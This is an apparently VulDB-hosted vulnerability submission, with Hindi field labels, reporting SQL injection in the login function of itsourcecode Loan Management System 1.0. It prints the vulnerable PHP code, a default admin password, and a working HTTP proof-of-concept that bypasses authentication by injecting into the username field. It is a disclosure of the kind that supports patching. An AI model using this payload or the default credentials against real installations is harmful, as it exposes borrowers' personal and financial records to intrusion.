| शीर्षक | itsourcecode Loan Management System 1.0 SQL Injection |
|---|
| विवरण | Description:
The `login()` function concatenates both username AND password directly into SQL without sanitization. Both fields independently injectable. Passwords stored in plaintext. `login2()` shares the same pattern with MD5.
Vulnerable Code:
**File**: `admin_class.php`, Line 20
```php
function login(){
extract($_POST);
$qry = $this->db->query("SELECT * FROM users where username = '".$username."' and password = '".$password."' ");
if($qry->num_rows > 0){
foreach ($qry->fetch_array() as $key => $value) {
if($key != 'passwors' && !is_numeric($key))
$_SESSION['login_'.$key] = $value;
}
return 1;
}
}
```
Plaintext password comparison. Default admin: `admin/admin123`.
Proof of Concept:
```http
POST /ajax.php?action=login HTTP/1.1
Content-Type: application/x-www-form-urlencoded
username=admin'#&password=anything
```
Impact:
- Complete authentication bypass
- Full loan management access
- Access to all borrower PII, loan records, payment history
Reference: https://github.com/microwaveabi/vul/issues/80 |
|---|
| स्रोत | ⚠️ https://github.com/microwaveabi/vul/issues/80 |
|---|
| उपयोगकर्ता | microwave (UID 96185) |
|---|
| सबमिशन | 11/07/2026 05:17 AM (1 महीना पहले) |
|---|
| संयम | 24/08/2026 07:28 AM (1 month later) |
|---|
| स्थिति | प्रतिलिपि |
|---|
| VulDB प्रविष्टि | 269164 [itsourcecode Loan Management System 1.0 Login Page login.php उपयोगकर्ता नाम SQL इंजेक्शन] |
|---|
| अंक | 0 |
|---|